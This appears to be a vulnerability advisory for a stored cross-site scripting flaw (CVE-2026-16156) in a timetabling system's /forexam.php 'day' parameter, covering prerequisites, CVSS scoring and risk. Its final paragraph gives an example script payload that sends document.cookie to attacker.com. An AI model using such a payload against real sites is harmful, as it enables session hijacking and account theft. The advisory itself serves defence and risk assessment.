Timetabling System CVE-2026-16156

Exploitation requires the attacker to hold a valid low-privilege authenticated session in the application (PR:L per CVSS 4.0 vector) - unauthenticated exploitation is not supported by available data. A victim user must also interact with or load the page containing the injected payload (UI:P), meaning a social engineering or phishing step is needed to trigger execution in a privileged user's browser. The vulnerable parameter is day within the /forexam.php endpoint, and the application must be network-reachable (AV:N). No special server-side configuration is required beyond default deployment. Exploitation is limited in scope to environments where: (1) the attacker can register or obtain a valid account, and (2) a second victim user can be induced to view the manipulated page.

The CVSS 4.0 score of 5.1 (Medium) reflects realistic constraints: PR:L requires the attacker to hold a valid low-privilege account, and UI:P requires a victim user to interact with the injected content. These two prerequisites materially reduce the attack surface compared to an unauthenticated, no-interaction XSS. EPSS data was not provided in source intelligence, so exploitation probability cannot be quantified. The vulnerability is not listed in CISA KEV, confirming no confirmed widespread active exploitation. However, a public proof-of-concept exploit exists on GitHub (referenced via the exploit tag), which reduces attacker skill requirements. The impact metrics (VC:N/VI:L/VA:N/SC:N/SI:N/SA:N) indicate limited integrity impact confined to the vulnerable system with no confidentiality or availability consequence per the 4.0 vector - though in practice a successful XSS could enable session hijacking or phishing depending on application context. Real-world priority is low: the product has minimal enterprise footprint, exploitation requires authentication, and victim interaction is needed.

An authenticated low-privilege user - such as a student or staff member with a valid account - submits a crafted value for the day parameter to /forexam.php containing a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>). When an administrator or another authenticated user views the affected exam timetable page, the injected script executes in their browser, potentially harvesting session cookies or performing actions on their behalf. A public proof-of-concept on GitHub documents this technique, making replication straightforward for low-skill attackers who have obtained any valid account credential.